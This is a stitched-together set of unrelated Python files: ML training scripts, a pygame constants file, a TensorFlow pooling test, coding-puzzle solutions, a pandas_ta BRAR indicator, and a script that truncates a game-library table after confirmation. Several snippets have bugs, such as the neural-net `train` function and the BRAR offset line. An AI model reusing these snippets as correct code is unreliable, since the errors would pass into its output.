from sklearn.model_selection import train_test_split, GridSearchCV
from sklearn.linear_model import LogisticRegression, SGDClassifier
import numpy as np
from sklearn.metrics import accuracy_score

def model_SGD(X_train, y_train, params, score, n_folds):
    """

    :param X_train:
    :param y_train:
    :param params:
    :param score:
    :param n_folds:
    :return: fitted classifier
    """
    # simple cross-validation over hyper parameters of classifier
    model = GridSearchCV(SGDClassifier(), param_grid=params, cv=n_folds, scoring='%s_micro' % score)
    model.fit(X_train, y_train)
    return model

if __name__ == '__main__':
    # load melt pool frame features
    X = np.loadtxt('/home/mahdi/Desktop/PhD_application/eth_additive_phd/interview/outputs/question_3/features_layer0002.csv')
    # load XYPV data
    _y = np.loadtxt('/home/mahdi/Desktop/PhD_application/eth_additive_phd/interview/outputs/question_2/XYPV_layer0002.csv')
    # digitize XYPV to get labels
    bin_num = 10
    bins_location_X = np.linspace(_y[:, 0].min(), _y[:, 0].max(), bin_num + 1)
    y_location_X = np.digitize(_y[:, 0], bins_location_X)
    bins_location_Y = np.linspace(_y[:, 1].min(), _y[:, 1].max(), bin_num + 1)
    y_location_Y = np.digitize(_y[:, 1], bins_location_Y)
    bins_power = np.linspace(_y[:, 2].min(), _y[:, 2].max(), bin_num + 1)
    y_power = np.digitize(_y[:, 2], bins_power)
    bins_velocity = np.linspace(_y[:,3].min(), _y[:,3].max(), bin_num+1)
    y_velocity = np.digitize(_y[:,3], bins_velocity)

    X_train, X_test, y_velocity_train, y_velocity_test = train_test_split(X, y_velocity, test_size=0.25)
    # to demonstrate cross validation we only consider one hyper parameter: regularization factor
    params = {'alpha': [1e-4, 1e-2, 1e0]}
    # cross validation score criteria and number of folds
    score = 'f1'
    n_folds = 5

    trained_model = model_SGD(X_train, y_velocity_train, params, score, n_folds)
    y_velocity_pred_train = trained_model.predict(X_train)
    print('Trained classifier train accuracy score is %{:.2f}'.format(accuracy_score(y_velocity_train, y_velocity_pred_train)*100))
    y_velocity_pred_test = trained_model.predict(X_test)
    print('Trained classifier test accuracy score is %{:.2f}'.format(accuracy_score(y_velocity_test, y_velocity_pred_test)*100))


import os
import csv
import math
import numpy as np
from meshDigitalTwin.glEngine.media import PATH_MEDIA
#PATH_MEDIA = r"C:\workspace\projects\MCI-stuff\meshVisualizer\glEngine\media"

class EModel:
    def __init__( self, model : str, nodes : np.ndarray, mumax = 5.5 ):
        _base_path = os.path.join( PATH_MEDIA, model )
        basis_path = os.path.join( _base_path, "basis.txt" )
        coeff_path = os.path.join( _base_path, "coefficients.txt" )
        self.basis = self.loadFile( basis_path, [0,4], np.float32 )
        self.coeff = self.loadFile( coeff_path, [0,2], np.float32 )
        self.ldis, self.lstr = self.initFunctions( self.coeff )
        self.nodes = nodes
        self.mumax = mumax
        self.adjustEquivalentStress( mumax )

    def loadFile( self, path, slice, dtype ):
        with open( path, 'r' ) as pFile:
            reader = csv.reader( pFile, delimiter='\t' )
            list_rows = [ row[ slice[0]:slice[1] ] for row in reader ]
        return np.array( list_rows, dtype=dtype )

    def initFunctions( self, coeff : np.ndarray ):
        ldis = lambda mu : 0.1 * ( coeff[0,0] + coeff[0,1] * mu )
        lstr = lambda mu : abs( coeff[0,0] + coeff[0,1] * mu )
        return ldis, lstr

    def adjustEquivalentStress( self, mumax ):
        Vmax = np.max( self.basis[ :, 3 ] )
        Vmin = np.min( self.basis[ :, 3 ] )
        vbasis = ( self.basis[ :, 3 ] - Vmin ) / (Vmax - Vmin)
        vbasis = vbasis / self.lstr( mumax )
        self.basis[ :, 3 ] = vbasis

    def eval( self, mu : float = 0.0 ):
        d = self.ldis( mu ) ; s = self.lstr( mu )
        nodes = self.nodes + d * self.basis[ :, 0:3 ]
        stress = s * self.basis[ :, 3 ].reshape( len( nodes ), 1 )
        return np.hstack( [ nodes, stress ] )

if __name__ == "__main__":
    model = EModel( "model" )
    model.eval(1)


'''
Created on Jan 26, 2013

@author: Reza

'''
import pygame
pygame.init()

global WINDOWWIDTH
WINDOWWIDTH = 1280

global WINDOWHEIGHT
WINDOWHEIGHT = 720

global DOORWIDTH
DOORWIDTH = 50

global DOORHEIGHT
DOORHEIGHT = 150

global NUMDOORFRAMESCLOSED
NUMDOORFRAMESCLOSED = 1

global NUMDOORFRAMESOPENED
NUMDOORFRAMESOPENED = 1

global NUMLOCKFRAMESLOCKED
NUMLOCKFRAMESLOCKED = 1

global NUMLOCKFRAMESUNLOCKED
NUMLOCKFRAMESUNLOCKED = 1

global LOCKWIDTH
LOCKWIDTH = 20

global LOCKHEIGHT
LOCKHEIGHT = 20

global ROOMWIDTH
ROOMWIDTH = 1280

global ROOMHEIGHT
ROOMHEIGHT = 720

global NUMROOMFRAMES
NUMROOMFRAMES = 1

global MAXGRAV
MAXGRAV = 20

global CHARWIDTH
CHARWIDTH = 75

global CHARHEIGHT
CHARHEIGHT = 125

global NUMCHARIDLEFRAMES
NUMCHARIDLEFRAMES = 4

global NUMCHARMOVINGHFRAMES
NUMCHARMOVINGHFRAMES = 6

global NUMCHARATTACKINGFRAMES
NUMCHARATTACKINGFRAMES = 3

global CHARATTACKHEIGHT
CHARATTACKHEIGHT = 125

global CHARATTACKWIDTH
CHARATTACKWIDTH = 150

global MOVEMENT
MOVEMENT = 5

global PLAYERIDLESPRITE_FN
PLAYERIDLESPRITE_FN = "Images\CharIdle.png"

global  PLAYERIDLESPRITE
PLAYERIDLESPRITE = pygame.image.load(PLAYERIDLESPRITE_FN)

global PLAYERWALKSPRITE_FN
PLAYERWALKSPRITE_FN = "Images\CharWalking.png"

global PLAYERWALKSPRITE
PLAYERWALKSPRITE = pygame.image.load(PLAYERWALKSPRITE_FN)

global PLAYERATTACKSPRITE_FN
PLAYERATTACKSPRITE_FN = "Images\CharAttacking.png"

global PLAYERATTACKSPRITE
PLAYERATTACKSPRITE = pygame.image.load(PLAYERATTACKSPRITE_FN)

global PLAYERJUMPTIME
PLAYERJUMPTIME = 2

global PLAYERHURTBOXWIDTH
PLAYERHURTBOXWIDTH = 50

global PLAYERHURTBOXHEIGHT
PLAYERHURTBOXHEIGHT = 125

global PLAYERHURTBOXADJUSTMENT
PLAYERHURTBOXADJUSTMENT = 50

global LEFT
LEFT = 'left'

global RIGHT
RIGHT = 'right'

global BACKGROUNDLOCATION
BACKGROUNDLOCATION = (0,0)

global ROOM1_FN
ROOM1_FN = "Images\Room1.png"

global ROOM2_FN
ROOM2_FN = "Images\Room2.png"

global ROOM3_FN
ROOM3_FN = "Images\Room3.png"

global DOOR_FN
DOOR_FN = "Images\door.png"

global DOORIMG
DOORIMG = pygame.image.load(DOOR_FN)

global ENEMYHEIGHT
ENEMYHEIGHT = 100

global ENEMYWIDTH
ENEMYWIDTH = 50

global SEEKDISTANCE
SEEKDISTANCE = 300

global ENEMYPATROLSPEED
ENEMYPATROLSPEED = 1

global ENEMYSEEKSPEED
ENEMYSEEKSPEED = 3

global ENEMYWALKSPRITESHEET_FN
ENEMYWALKSPRITESHEET_FN = "Images\ArmLimbEnemyWalk.png"

global ENEMYWALKSPRITESHEET
ENEMYWALKSPRITESHEET = pygame.image.load(ENEMYWALKSPRITESHEET_FN)

global ENEMYMOVINGFRAMES
ENEMYMOVINGFRAMES = 4

global WAITIME
WAITTIME = 60

global KNOCKBACKDISTANCE
KNOCKBACKDISTANCE = 10

global HEARTHFULL_FN
HEARTFULL_FN = "Images\HeartFull.png"

global HEARTFULL
HEARTFULL = pygame.image.load(HEARTFULL_FN)

global HEARTONEHIT_FN
HEARTONEHIT_FN = "Images\HeartOneHit.png"

global HEARTONEHIT
HEARTONEHIT = pygame.image.load(HEARTONEHIT_FN)

global HEARTTWOHITS_FN
HEARTTWOHITS_FN = "Images\HeartTwoHits.png"

global HEARTTWOHITS
HEARTTWOHITS = pygame.image.load(HEARTTWOHITS_FN)

global HEARTTHREEHIT_FN
HEARTTHREEHITS_FN = "Images\HeartThreeHits.png"

global HEARTTHREEHITS
HEARTTHREEHITS = pygame.image.load(HEARTTHREEHITS_FN)

global HEARTEMPTY_FN
HEARTEMPTY_FN = "Images\HeartEmpty.png"

global HEARTHEMPTY
HEARTEMPTY = pygame.image.load(HEARTEMPTY_FN)

global HEARTWIDTH
HEARTWIDTH = 200

global HEARTHEIGHT
HEARTHEIGHT = 80

global HEARTFRAME
HEARTFRAME = 1

global TITLESCREEN_FN
TITLESCREEN_FN = "Images\TitleScreen.png"

global TITLESCREEN
TITLESCREEN = pygame.image.load(TITLESCREEN_FN)

global GAMEOVER_FN
GAMEOVER_FN = "Images\GameOverScreen.png"

global GAMEOVERSCREEN
GAMEOVERSCREEN = pygame.image.load(GAMEOVER_FN)

global TITLE
TITLE = "title"

global PLAYING
PLAYING = "playing"

global GAMEOVER
GAMEOVER = "gameover"

global BGMUSIC_FN
BGMUSIC_FN = "SOund\Cypher.ogg"


import tensorflow as tf
import numpy as np
import sys
from scipy.spatial import distance_matrix

sys.path.append('../layers')
from pooling import PoolingLayer
from convlayer_elements import ConvElements

class TestPooling(tf.test.TestCase):

    def run_test(self):
        with self.test_session():

            B = 2
            I = 8
            I_tag = int(I / 2)
            J = 3

            X = np.random.rand(B,I, 3)

            F = np.random.rand(B,I, J)

            idx, startidx = self.fps(X, B, I_tag, I)

            X_tag = X[[[[x] for x in list(range(B))]] + [idx.tolist()]]

            poolOut = np.zeros([B,I_tag, J])
            for b in range(B):
                dist = np.power(distance_matrix(X[b], X[b]), 2)

                for ii in range(I_tag):
                    for jj  in range(J):

                        vals = []
                        for kk in range(I):
                            a = idx[b]

                            minidx = np.argmin(dist[kk, a])
                            if (minidx == ii):
                                vals = vals + [F[b,kk, jj]]

                        poolOut[b,ii, jj] = np.max(vals)

            print(poolOut.shape)
            print (poolOut)

            elm = ConvElements(tf.constant(X,dtype=tf.float32),np.sqrt(I,dtype=np.float32),np.float32(1),np.float32(1))
            m = PoolingLayer(elm,J,J,I_tag).get_layer(tf.constant(F,dtype=tf.float32),use_fps=tf.constant(True,dtype=tf.bool),startidx=startidx)

            self.assertLess (np.linalg.norm(m[1].eval() - poolOut),1.0e-6)
            self.assertLess (np.linalg.norm(m[0].eval() - X_tag),1.0e-6)

    def fps(self,points,B,I_tag,I):
        r = np.sum(points * points, 2)
        r = np.expand_dims(r, axis=2)
        distance = r - 2 * np.matmul(points, np.transpose(points, [0, 2, 1])) + np.transpose(r, [0, 2, 1])
        temp = [[x] for x in list(range(B))]
        idx = np.random.randint(0, I)
        startidx = idx

        if (I_tag > 1):
            gather = np.argmax(distance[:, idx, :], axis=1)
            idx = np.stack([np.array(B * [idx]), gather], axis=1)

            for step in range(2, max(I_tag, 2)):
                gather = distance[[temp] + [idx.tolist()]]

                idx = np.concatenate([idx, np.expand_dims(np.argmax(np.min(gather, 1), 1), 1)], 1)
        else:
            idx = np.array(B * [idx])
        return idx,startidx

TestPooling().run_test()


def date_input_float(texto):
    while True:
        try:
            r = float(input(texto))
            if r > 0:
                abs(r)
                return r
            else:
                print("El valor es menor a 0")
        except Exception as  e:
            print("Ha ocurrido un error en el ingreso de la resistencia ",e)
            print("Ha ocurrido un error, ingrese de nuevo el valor de la resistencia")

r_1 = date_input_float("Ingrese la resistencia 1: ")
r_2 = date_input_float("Ingrese la resistencia 2: ")
r_3 = date_input_float("Ingrese la resistencia 3: ")

resistencia_total = 1/((1/r_1) + (1/r_2) + (1/r_3))

print("La resistencia total es de", resistencia_total)

'''

'''


import cv2
img1=cv2.imread('11',1)
img=cv2.imread('logopython',1)
x=0
y=0
rows,cols,channels=img.shape
while(y<=200):
    img1[x,y]=img[x,y]
    x+=1
    y+=1
cv2.imshow('new',img1)
cv2.waitKey(0)
cv2.destroyAllWindows()


# -*- coding: utf-8 -*-
"""
NN From scratch
"""

import numpy as np

# initialize
def __init__(input_size, layer_sizes):
    """

    Create arrays of weights and biases for each layer

    Parameters
    ----------
    input_size : TYPE
        DESCRIPTION.
    layer_sizes : TYPE
        DESCRIPTION.

    Returns
    -------
    weight_list : TYPE
        DESCRIPTION.
    biases : TYPE
        DESCRIPTION.

    """
    weight_list = []
    biases = []
    for size in layer_sizes:
        print(size)
        weight_list.append(np.random.rand(input_size, size)) # modify creation for small numbers
        biases.append(np.random.rand(1, size))
        input_size = size
    return weight_list, biases

# activation function
def relu(x):
    """
    Replace negative values with 0

    Parameters
    ----------
    x : iterable of numbers
        weighted sum of neuron inputs

    Returns
    -------
    numpy array
        activation function

    """
    return np.array([max(0,xi) for xi in x])

# feeding signal forward manually
def forward(inp, weight_list, biases):
    """
    get an output for a given model input
    Parameters
    ----------
    inp : numpy array model input
    weight_list : list of numpy arrays containing model weights
    biases : list of numpy arrays containing model biases

    Returns
    -------
    output_list : list of numpy arrays
        output of each layer of the model

    """

    # feeding more flexibly
    output_list = []
    for i, weights in enumerate(weight_list):
        wsum = np.sum(weights.T * inp + biases[i].T, axis=1)
        output = relu(wsum)

        output_list.append(output)
        inp = output
    return output_list

def backprop(output_list, output_labels, weight_list):
    """
    Parameters
    ----------
    output_list : list of numpy arrays
        per layer output of model
    output_labels : numpy array
        target output values (last layer only)
    weight_list : list of numpy arrays
        model weights per layer

    Returns
    -------
    weight_list : list of numpy arrays
        updated weight arrays

    """
    error = np.subtract(output_labels, output_list[-1])

    learning_rate = 0.05
    new_weight_list = []
    for i, weights in enumerate(reversed(weight_list)):

        j = -(i+1)

        # compute derivatives
        loss_to_output_deriv_outer = np.multiply(-2, error) # j is output
        loss_to_output_deriv_inner = np.sum(weights * output_list[j], axis = 0) # j is input
        output_to_sum_deriv = np.greater(output_list[j], 0)

        # combined values
        if j == -1:
            delta = np.multiply(output_to_sum_deriv, loss_to_output_deriv_outer)
        else:
            delta = np.multiply(output_to_sum_deriv, loss_to_output_deriv_inner)

        echo = np.multiply(learning_rate, output_list[j])

        # change weight values
        new_weights = weights - np.multiply(delta, echo)
        new_weight_list.append(new_weights)

    weight_list = new_weight_list
    return weight_list

def train(inp, output_labels):
    """
    Parameters
    ----------
    inp : numpy array
        model input
    output_labels : numpy array
        target output values (last layer only)

    Returns
    -------
    None.
    """
    # predictions
    output_list = forward(inp, weight_list, biases)

    # backprop
    weight_list = backprop(output_list, output_labels, weight_list)

#architecture and initialization
input_size, layer_sizes = 15, np.array([5]) # input, hidden, output
weight_list, biases = __init__(input_size, layer_sizes)

# inputs and outputs
inp = np.array([5,4,3,2,1,0,9,8,7,6,3,4,5,6,7])
output_labels = np.array([0,0,1,1,0])
#output_labels = np.array([1,2,3,4,5])

train(inp, output_labels)


from allennlp.data.dataset_readers.dataset_reader import DatasetReader
from allennlp.data.fields import TextField, SequenceLabelField, MetadataField
from allennlp.data.instance import Instance
from allennlp.data.tokenizers import WordTokenizer
from allennlp.data.tokenizers.word_splitter import JustSpacesWordSplitter
from allennlp.data.token_indexers import TokenIndexer, SingleIdTokenIndexer, TokenCharactersIndexer
from allennlp.common.checks import ConfigurationError
import sys
import traceback
from typing import Dict, List, Any
import logging
from overrides import overrides
import os
import dill
import re
import json

from dialogue.bind_define import StandardSpan
from dialogue.constant import COL_PREFIX, VAL_PREFIX, COLUMN_BIND_TYPES, VALUE_BIND_TYPES, Bind

logger = logging.getLogger(__name__)

def abstract_utterance(utterance_obj: StandardSpan, col_counter=None, val_counter=None):
    # default setting
    if val_counter is None:
        val_counter = {}
    if col_counter is None:
        col_counter = {}
    tags = utterance_obj.tags
    uttr = [tags[ind].origin if tags[ind] is not None else utterance_obj.utterance[ind]
            for ind, _ in enumerate(utterance_obj.utterance)]
    for ind, tag in enumerate(tags):
        # ind is index of tag in tags
        if tag is None:
            continue
        if tag.class_type in COLUMN_BIND_TYPES or tag.class_type == Bind.Table:
            if uttr[ind] not in col_counter:
                col_counter[uttr[ind]] = len(col_counter)
            col_id = col_counter[uttr[ind]]
            uttr[ind] = COL_PREFIX + str(col_id)
        elif tag.class_type in VALUE_BIND_TYPES:
            if uttr[ind] not in val_counter:
                val_counter[uttr[ind]] = len(val_counter)
            val_id = val_counter[uttr[ind]]
            uttr[ind] = VAL_PREFIX + str(val_id)
        elif " " in uttr[ind]:
            uttr[ind] = uttr[ind].replace(" ", "_")
        else:
            pass
    return uttr, col_counter, val_counter

@DatasetReader.register("followup")
class FollowUpDataReader(DatasetReader):
    def __init__(self, is_pretrain,
                 token_indexer: Dict[str, TokenIndexer] = None,
                 char_indexer: Dict[str, TokenCharactersIndexer] = None,
                 lazy: bool = False,
                 tables_file: str = 'data\\tables.jsonl',
                 test_sym_file: str = 'data\\test.sym',
                 load_cache: bool = True,
                 save_cache: bool = True,
                 cache_dir: str = 'cache',
                 loading_limit: int = -1):
        super().__init__(lazy=lazy)
        self._tokenizer = WordTokenizer(word_splitter=JustSpacesWordSplitter())
        self._token_indexers = token_indexer or {"tokens": SingleIdTokenIndexer()}
        self._char_indexers = char_indexer
        self._is_pretrain = is_pretrain

        self._table_file = tables_file
        self._loading_limit = loading_limit

        self._load_cache = load_cache
        self._save_cache = save_cache
        self._cache_dir = cache_dir

        if self._load_cache or self._save_cache:
            if not os.path.exists(self._cache_dir):
                os.mkdir(self._cache_dir)

        self._test_sym_file = test_sym_file

    @overrides
    def _read(self, file_path: str):
        if not file_path.endswith(".jsonl"):
            raise ConfigurationError(f"The file path is not from FollowUp dataset {file_path}")

        train_mode = os.path.split(file_path)[-1]
        cache_dir = os.path.join(self._cache_dir, train_mode)

        if self._load_cache or self._save_cache:
            if not os.path.exists(cache_dir):
                os.mkdir(cache_dir)

        with open(file_path, "r", encoding="utf8", errors="ignore") as data_file:
            for total_cnt, json_line in enumerate(data_file):
                # loading some examples
                if self._loading_limit == total_cnt:
                    break

                cache_file = os.path.join(cache_dir, f'ins-{total_cnt}.bin')

                if self._load_cache and os.path.exists(cache_file):  # (not A) or B
                    ins = dill.load(open(cache_file, 'rb'))
                    # None passing.
                    if ins is not None:
                        # read pre-training file
                        if not self._is_pretrain and 'train' in train_mode:
                            # remove the labels
                            ins.fields.pop('prev_labels')
                            ins.fields.pop('fol_labels')
                            ins.fields.pop('conflicts')
                            yield ins
                        else:
                            yield ins
                    continue

                # just use 1st and 2nd as independent/dependent query
                # construct based on inter_ex
                try:
                    snip_obj = json.loads(json_line)

                    # recover to StandardSpan
                    snip_obj['prev'] = StandardSpan.from_json_dict(snip_obj['prev'])
                    snip_obj['follow'] = StandardSpan.from_json_dict(snip_obj['follow'])
                    snip_obj['restate'] = StandardSpan.from_json_dict(snip_obj['restate'])

                    ins = self.text_to_instance(
                        origin_obj=snip_obj,
                    )

                    if self._save_cache and ins is not None:
                        # save cache into file
                        cache_file = os.path.join(cache_dir, f'ins-{total_cnt}.bin')
                        dill.dump(ins, open(cache_file, 'wb'))

                    if ins is not None:
                        yield ins
                except Exception as e:
                    print(f'Error in line: {total_cnt}')
                    exec_info = sys.exc_info()
                    traceback.print_exception(*exec_info)

    def text_to_instance(self, origin_obj: Any) -> Instance:

        prev_obj = origin_obj['prev']
        fol_obj = origin_obj['follow']

        abs_prev_tokens, col_counter, val_counter = abstract_utterance(prev_obj)
        abs_fol_tokens, _, _ = abstract_utterance(fol_obj, col_counter, val_counter)

        # token level tokenizing
        prev_tokens = self._tokenizer.tokenize(" ".join(abs_prev_tokens))
        prev_tokens = TextField(prev_tokens, self._token_indexers)

        fol_tokens = self._tokenizer.tokenize(" ".join(abs_fol_tokens))
        fol_tokens = TextField(fol_tokens, self._token_indexers)

        # char level tokenizing
        prev_tag_tokens = []
        prev_anno: StandardSpan = origin_obj["prev"]
        for ind, tag in enumerate(prev_anno.tags):
            if tag is None:
                prev_tag_tokens.append(prev_tokens[ind].text)
            elif tag.class_type in COLUMN_BIND_TYPES:
                prev_tag_tokens.append(tag.header.replace(" ", "_"))
            elif tag.class_type in VALUE_BIND_TYPES:
                if len(tag.header) > 0:
                    prev_tag_tokens.append(tag.header[0].replace(" ", "_"))
                else:
                    prev_tag_tokens.append(tag.origin.replace(" ", "_"))
            else:
                prev_tag_tokens.append(prev_tokens[ind].text)

        fol_char_str = []
        fol_anno: StandardSpan = origin_obj["follow"]
        for ind, tag in enumerate(fol_anno.tags):
            if tag is None:
                fol_char_str.append(fol_tokens[ind].text)
            elif tag.class_type in COLUMN_BIND_TYPES:
                fol_char_str.append(tag.header.replace(" ", "_"))
            elif tag.class_type in VALUE_BIND_TYPES:
                if len(tag.header) > 0:
                    fol_char_str.append(tag.header[0].replace(" ", "_"))
                else:
                    fol_char_str.append(tag.origin.replace(" ", "_"))
            else:
                fol_char_str.append(fol_tokens[ind].text)

        # split into char-based tokens
        prev_tag_str = " ".join(prev_tag_tokens)
        prev_tag_tokens = self._tokenizer.tokenize(prev_tag_str)
        prev_tag_field = TextField(prev_tag_tokens, self._char_indexers)

        fol_tag_str = " ".join(fol_char_str)
        fol_char_str = self._tokenizer.tokenize(fol_tag_str)
        fol_tag_field = TextField(fol_char_str, self._char_indexers)

        fields = {'prev_tokens': prev_tokens,
                  'fol_tokens': fol_tokens,
                  'prev_tags': prev_tag_field,
                  'fol_tags': fol_tag_field}

        metadata = {"origin_obj": origin_obj,
                    "tokens_origin": abs_prev_tokens + abs_fol_tokens}
        metadata_field = MetadataField(metadata)
        fields['metadata'] = metadata_field

        # pre-training object caching
        prev_snippets = origin_obj['prev'].snippet
        fol_snippets = origin_obj['follow'].snippet
        conflict = origin_obj['conflicts']

        origin_obj.pop('conflicts')

        prev_labels = SequenceLabelField(prev_snippets, prev_tokens)
        fields['prev_labels'] = prev_labels
        fol_labels = SequenceLabelField(fol_snippets, fol_tokens)
        fields['fol_labels'] = fol_labels
        conflict_field = MetadataField(conflict)
        fields['conflicts'] = conflict_field

        fields['metadata'].metadata['origin_obj']['prev_labels'] = prev_snippets
        fields['metadata'].metadata['origin_obj']['fol_labels'] = fol_snippets

        return Instance(fields)


class Solution(object):
    def findDifferentBinaryString(self, nums):
        # Backtracking with Hash Set - T(n)=O(n.n) as for each cur of length n we call backtrack n times so as to recah the base cond and return the res
        strset = { s for s in nums} # covert array into set, can be done by set(nums)
        def backtrack(i,cur): # O(n)
            # Base Cond
            if i==len(nums):
                res = "".join(cur)
                return None if res in strset else res
            res = backtrack(i+1,cur)
            # 1st check if res not None
            if res: return res
            # 2nd Check: we have not found the res so we update "0" to "1" at part ith position in cur & then again backtrack
            cur[i] = "1"
            res = backtrack(i+1,cur)
            if res: return res

        return backtrack(0,['0' for s in nums]) # O(n)


# 20058 마법사 상어와 파이어스톰 (G3)
# https://www.acmicpc.net/problem/20058
# 정답

import sys
from collections import deque
input = sys.stdin.readline
n,q = map(int, input().split())
total = 1<<n
lst = [[*map(int, input().split())] for _ in range(total)]

command = [*map(int, input().split())]

dx=[1,-1,0,0]
dy=[0,0,1,-1]

# def turn(x,y,val,dst):
#     if val == dst:
#         size = 1<<val
#         tmp = [[0] * size for _ in range(size)]
#         for i in range(size):
#             for j in range(size):
#                 tmp[i][j] = lst[x+size-j-1][y+i]
#         for i in range(size):
#             for j in range(size):
#                 lst[x+i][y+j] = tmp[i][j]
#         return
#     val-=1
#     size = 1<<val
#     turn(x,y,val,dst)
#     turn(x+size,y,val,dst)
#     turn(x,y+size,val,dst)
#     turn(x+size,y+size,val,dst)

def turn(size):
    size = 1 << size
    tmp = [i[:] for i in lst]
    for i in range(0,total,size):
        for j in range(0,total,size):
            for r in range(size):
                for c in range(size):
                    lst[i+r][j+c] = tmp[i+size-1-c][j+r]

def melt():
    meltlst = deque()
    for i in range(total):
        for j in range(total):
            if lst[i][j]:
                side = 0
                for k in range(4):
                    nx,ny=i+dx[k],j+dy[k]
                    if -1<nx<total and -1<ny<total and lst[nx][ny]:
                        side +=1
                if side<3: meltlst.append((i,j))
    for x,y in meltlst: lst[x][y] -= 1

for i in command:
    # turn(0,0,n,i)
    turn(i)
    melt()

anssum=0
anssize=0
que = deque()
for i in range(total):
    for j in range(total):
        if lst[i][j]:
            currsize=0
            que.append((i,j))
            anssum+=lst[i][j]
            lst[i][j] = 0
            while que:
                x,y=que.popleft()
                currsize+=1
                for k in range(4):
                    nx,ny = x+dx[k],y+dy[k]
                    if -1<nx<total and -1<ny<total and lst[nx][ny]:
                        anssum += lst[nx][ny]
                        lst[nx][ny] = 0
                        que.append((nx,ny))
            anssize = max(anssize, currsize)

print(anssum)
print(anssize)

# 까다로운 구현 유형의 총체
# 분할 정복으로 들어가 배열 돌리기를 진행하고
# 이후 그래프 탐색으로 큰 사이즈의 그래프를 구해야 함.
# 순서대로만 하면 별 거 아니지만, 문제 예시가 사람을 조금 헷갈리게 함..
# 개인적으로는 구현 문제에서 시간 복잡도 고민하는 건 사치가 아닌가..

# 배열 돌리는 원리만 이해하면 분할정복을 쓰지 않고도 바로 값을 수정하는 것도 가능

week_04/20058_마법사_상어와_파이어스톰/20058_김동건.py


# -*- coding: utf-8 -*-
from pandas import DataFrame
from pandas_ta.utils import get_drift, get_offset, non_zero_range, verify_series

def brar(open_, high, low, close, length=None, scalar=None, drift=None, offset=None, **kwargs):
    """Indicator: BRAR (BRAR)"""
    # Validate Arguments
    length = int(length) if length and length > 0 else 26
    scalar = float(scalar) if scalar else 100
    high_open_range = non_zero_range(high, open_)
    open_low_range = non_zero_range(open_, low)
    open_ = verify_series(open_, length)
    high = verify_series(high, length)
    low = verify_series(low, length)
    close = verify_series(close, length)
    drift = get_drift(drift)
    offset = get_offset(offset)

    if open_ is None or high is None or low is None or close is None: return

    # Calculate Result
    hcy = non_zero_range(high, close.shift(drift))
    cyl = non_zero_range(close.shift(drift), low)

    hcy[hcy < 0] = 0  # Zero negative values
    cyl[cyl < 0] = 0  # ""

    ar = scalar * high_open_range.rolling(length).sum()
    ar /= open_low_range.rolling(length).sum()

    br = scalar * hcy.rolling(length).sum()
    br /= cyl.rolling(length).sum()

    # Offset
    if offset != 0:
        ar = ar.shift(offset)
        br = ar.shift(offset)

    # Handle fills
    if "fillna" in kwargs:
        ar.fillna(kwargs["fillna"], inplace=True)
        br.fillna(kwargs["fillna"], inplace=True)
    if "fill_method" in kwargs:
        ar.fillna(method=kwargs["fill_method"], inplace=True)
        br.fillna(method=kwargs["fill_method"], inplace=True)

    # Name and Categorize it
    _props = f"_{length}"
    ar.name = f"AR{_props}"
    br.name = f"BR{_props}"
    ar.category = br.category = "momentum"

    # Prepare DataFrame to return
    brardf = DataFrame({ar.name: ar, br.name: br})
    brardf.name = f"BRAR{_props}"
    brardf.category = "momentum"

    return brardf

brar.__doc__ = \
"""BRAR (BRAR)

BR and AR

Sources:
    No internet resources on definitive definition.
    Request by Github user homily, issue #46

Calculation:
    Default Inputs:
        length=26, scalar=100
    SUM = Sum

    HO_Diff = high - open
    OL_Diff = open - low
    HCY = high - close[-1]
    CYL = close[-1] - low
    HCY[HCY < 0] = 0
    CYL[CYL < 0] = 0
    AR = scalar * SUM(HO, length) / SUM(OL, length)
    BR = scalar * SUM(HCY, length) / SUM(CYL, length)

Args:
    open_ (pd.Series): Series of 'open's
    high (pd.Series): Series of 'high's
    low (pd.Series): Series of 'low's
    close (pd.Series): Series of 'close's
    length (int): The period. Default: 26
    scalar (float): How much to magnify. Default: 100
    drift (int): The difference period. Default: 1
    offset (int): How many periods to offset the result. Default: 0

Kwargs:
    fillna (value, optional): pd.DataFrame.fillna(value)
    fill_method (value, optional): Type of fill method

Returns:
    pd.DataFrame: ar, br columns.
"""


import torch.nn as nn
import torchvision.models as models
import torch.nn.functional as F

def spatial_pyramid_pooling(input, output_size):
    assert input.dim() == 4 and input.size(2) == input.size(3)
    F.max_pool2d(input, kernel_size=input.size(2) // output_size)

class CustomResNet50(nn.Module):

    def __init__(self, out_size=None):
        super(CustomResNet50, self).__init__()
        self.out_size = out_size
        self.resnet18 = models.resnet50(pretrained=True)
        if not(self.out_size is None):
            self.adaptativeAvgPooling = nn.AdaptiveAvgPool2d((out_size[0],out_size[1]))

    def forward(self, x):
        x = self.resnet18.conv1(x)
        x = self.resnet18.bn1(x)
        x = self.resnet18.relu(x)
        x = self.resnet18.maxpool(x)

        x = self.resnet18.layer1(x)
        x = self.resnet18.layer2(x)
        x = self.resnet18.layer3(x) # 1024 x 14 x 14
        #x = self.resnet18.layer4(x) # 2048 x 7 x 7
        if not(self.out_size is None):
            x = self.adaptativeAvgPooling(x)
        return x


import Conexion

flag = True

choice = input("¿Seguro que quieres borrar todo de tu biblioteca de forma permanente?\n1.Si\n2.No\n(1-2): ")
while flag:
    if choice == '1':
        print("1")
        Conexion.cursor.execute(
            """
            TRUNCATE TABLE BIBLIOTECA
            """
        )
        Conexion.connection.commit()
        print("Todos los juegos de tu biblioteca han sido borrados\n")
        flag = False
    elif choice == '2':
        exit()
    else:
        print("\nElige una opción válida")
        choice = input("\n1.Si\n2.No\n(1-2): ")


#/*****************************************************************************
#   Run #10A: Rot State Comparison: Gravity Gradient, Circular, 0 Rate
#******************************************************************************
#
#Description:
#The purpose of this test is to verify the numerical integration routines and
#math model for the propagation of the rotational state of an orbital vehicle.
#The orbital vehicle is a special ISS 'cylinder-like' configuration with a mass
#of 1000kg, 12 meters long and 1 meter in radius.  The inertia matrix in the
#structural reference fram has center of mass at 6.0,0.0,0.0 meters.  The
#inertia matrix is diagonal with Ixx = 500.0 , Iyy = 12250.0 , Izz = 12250.0
#(kgM^2).  The initial ISS rotational state is at a special attitude.  Attitude
#is set wrt the LVLH frame.  In in-plane displacement (Pitch) is 5 degrees, the
#out-or-plane displacement is 1 degree.  The analytic solution for this
#'cylinder' is that the amplitude of the gravity gradient libration will be a
#max and min of 5 degrees in plane with a period of 3257.94 seconds and an out
#of plane libration max and min of 1 degrees with a period of 2821.46 seconds.
#
#References:
#   Spacecraft Attitude Dynamics, Peter C. Hughes, Dover Edition 2004,
#   pages (232 - 353)
#
#Run Scenario:
#   Model Setup -
#      Gravity Model: On
#         Earth:     Spherical
#         Sun/Moon:  Off
